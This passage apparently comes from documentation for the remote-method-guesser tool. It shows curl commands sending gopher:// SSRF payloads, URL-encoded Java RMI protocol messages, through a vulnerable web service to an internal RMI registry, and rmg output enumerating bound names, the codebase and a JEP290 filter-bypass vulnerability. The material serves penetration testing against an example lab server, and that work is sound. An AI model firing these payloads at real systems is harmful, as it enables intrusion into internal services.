[qtc@devbox ~]$ curl 172.17.0.2:8000/?url=gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254b%2500%2509%2531%2532%2537%252e%2530%252e%2531%252e%2531%2500%2500%2500%2500%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2574%2500%250b%2546%2569%256c%2565%254d%2561%256e%2561%2567%2565%2572 2>/dev/null | xxd -p -c1000
4e00093132372e302e302e310000c48c51aced0005770f01c95068b90000017d8947959b800a737d00000002000f6a6176612e726d692e52656d6f7465002764652e7174632e726d672e7365727665722e737372662e726d692e4946696c654d616e6167657274002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a6172787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b71007e000178707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572000000000000000202000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707732000a556e696361737452656600096c6f63616c686f737400009077040fba7d4c453576c95068b90000017d8947959b80010178

[qtc@devbox ~]$ rmg enum 127.0.0.1 1090 --bound-name FileManager --ssrf-response 4e00093132372e302e302e310000c48c51aced0005770f01c95068b90000017d8947959b800a737d00000002000f6a6176612e726d692e52656d6f7465002764652e7174632e726d672e7365727665722e737372662e726d692e4946696c654d616e6167657274002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a6172787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b71007e000178707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572000000000000000202000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707732000a556e696361737452656600096c6f63616c686f737400009077040fba7d4c453576c95068b90000017d8947959b80010178
[+] RMI registry bound names:
[+]
[+] 	- FileManager
[+] 		--> de.qtc.rmg.server.ssrf.rmi.IFileManager (unknown class)
[+] 		    Endpoint: localhost:36983 ObjID: [-36af9747:17d8947959b:-7fff, 292657548115654006]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://localhost:8000/rmi-class-definitions.jar
[+] 		--> de.qtc.rmg.server.ssrf.rmi.IFileManager

Apart from list the following scan actions are available:

  • activator
  • codebase
  • filter-bypass
  • jep290
  • list
  • localhost-bypass
  • security-manager
  • string-marshalling

The following output shows an example for the filter-bypass action:

[qtc@devbox ~]$ rmg enum 127.0.0.1 1090 --ssrf --gopher --encode --scan-action filter-bypass
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	SSRF Payload: gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254b%2500%2509%2531%2532%2537%252e%2530%252e%2531%252e%2531%2500%2500%2500%2500%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2573%2572%2500%2523%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2555%256e%2569%2563%2561%2573%2574%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%2545%2509%2512%2515%25f5%25e2%257e%2531%2502%2500%2503%2549%2500%2504%2570%256f%2572%2574%254c%2500%2503%2563%2573%2566%2574%2500%2528%254c%256a%2561%2576%2561%252f%2572%256d%2569%252f%2573%2565%2572%2576%2565%2572%252f%2552%254d%2549%2543%256c%2569%2565%256e%2574%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%253b%254c%2500%2503%2573%2573%2566%2574%2500%2528%254c%256a%2561%2576%2561%252f%2572%256d%2569%252f%2573%2565%2572%2576%2565%2572%252f%2552%254d%2549%2553%2565%2572%2576%2565%2572%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%253b%2570%2578%2572%2500%251c%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%2553%2565%2572%2576%2565%2572%25c7%2519%2507%2512%2568%25f3%2539%25fb%2502%2500%2500%2570%2578%2572%2500%251c%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%25d3%2561%25b4%2591%250c%2561%2533%251e%2503%2500%2500%2570%2578%2570%2577%2513%2500%2511%2555%256e%2569%2563%2561%2573%2574%2553%2565%2572%2576%2565%2572%2552%2565%2566%2532%2578%2500%2500%2500%2500%2570%2573%257d%2500%2500%2500%2502%2500%2526%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%254d%2549%2553%2565%2572%2576%2565%2572%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%2500%250f%256a%2561%2576%2561%252e%2572%256d%2569%252e%2552%2565%256d%256f%2574%2565%2570%2578%2572%2500%2517%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2572%2565%2566%256c%2565%2563%2574%252e%2550%2572%256f%2578%2579%25e1%2527%25da%2520%25cc%2510%2543%25cb%2502%2500%2501%254c%2500%2501%2568%2574%2500%2525%254c%256a%2561%2576%2561%252f%256c%2561%256e%2567%252f%2572%2565%2566%256c%2565%2563%2574%252f%2549%256e%2576%256f%2563%2561%2574%2569%256f%256e%2548%2561%256e%2564%256c%2565%2572%253b%2570%2578%2570%2573%2572%2500%252d%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%2549%256e%2576%256f%2563%2561%2574%2569%256f%256e%2548%2561%256e%2564%256c%2565%2572%2500%2500%2500%2500%2500%2500%2500%2502%2502%2500%2500%2570%2578%2571%2500%257e%2500%2504%2577%2532%2500%250a%2555%256e%2569%2563%2561%2573%2574%2552%2565%2566%2500%2509%2531%2532%2537%252e%2530%252e%2530%252e%2531%2500%2512%25d6%2587%2500%2500%2500%2500%2500%2500%2500%257b%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2578

[qtc@devbox ~]$ curl 172.17.0.2:8000/?url=gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254b%2500%2509%2531%2532%2537%252e%2530%252e%2531%252e%2531%2500%2500%2500%2500%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2573%2572%2500%2523%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2555%256e%2569%2563%2561%2573%2574%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%2545%2509%2512%2515%25f5%25e2%257e%2531%2502%2500%2503%2549%2500%2504%2570%256f%2572%2574%254c%2500%2503%2563%2573%2566%2574%2500%2528%254c%256a%2561%2576%2561%252f%2572%256d%2569%252f%2573%2565%2572%2576%2565%2572%252f%2552%254d%2549%2543%256c%2569%2565%256e%2574%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%253b%254c%2500%2503%2573%2573%2566%2574%2500%2528%254c%256a%2561%2576%2561%252f%2572%256d%2569%252f%2573%2565%2572%2576%2565%2572%252f%2552%254d%2549%2553%2565%2572%2576%2565%2572%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%253b%2570%2578%2572%2500%251c%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%2553%2565%2572%2576%2565%2572%25c7%2519%2507%2512%2568%25f3%2539%25fb%2502%2500%2500%2570%2578%2572%2500%251c%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%25d3%2561%25b4%2591%250c%2561%2533%251e%2503%2500%2500%2570%2578%2570%2577%2513%2500%2511%2555%256e%2569%2563%2561%2573%2574%2553%2565%2572%2576%2565%2572%2552%2565%2566%2532%2578%2500%2500%2500%2500%2570%2573%257d%2500%2500%2500%2502%2500%2526%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%254d%2549%2553%2565%2572%2576%2565%2572%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%2500%250f%256a%2561%2576%2561%252e%2572%256d%2569%252e%2552%2565%256d%256f%2574%2565%2570%2578%2572%2500%2517%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2572%2565%2566%256c%2565%2563%2574%252e%2550%2572%256f%2578%2579%25e1%2527%25da%2520%25cc%2510%2543%25cb%2502%2500%2501%254c%2500%2501%2568%2574%2500%2525%254c%256a%2561%2576%2561%252f%256c%2561%256e%2567%252f%2572%2565%2566%256c%2565%2563%2574%252f%2549%256e%2576%256f%2563%2561%2574%2569%256f%256e%2548%2561%256e%2564%256c%2565%2572%253b%2570%2578%2570%2573%2572%2500%252d%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%2549%256e%2576%256f%2563%2561%2574%2569%256f%256e%2548%2561%256e%2564%256c%2565%2572%2500%2500%2500%2500%2500%2500%2500%2502%2502%2500%2500%2570%2578%2571%2500%257e%2500%2504%2577%2532%2500%250a%2555%256e%2569%2563%2561%2573%2574%2552%2565%2566%2500%2509%2531%2532%2537%252e%2530%252e%2530%252e%2531%2500%2512%25d6%2587%2500%2500%2500%2500%2500%2500%2500%257b%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2578 2>/dev/null | xxd -p -c10000
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[qtc@devbox ~]$ rmg enum 127.0.0.1 1090 --scan-action filter-bypass --ssrf-response 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[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable

More examples for the --ssrf and --ssrf-response actions can be found in the documentation of the SSRF example server and the Attacking Java RMI via SSRF blog post.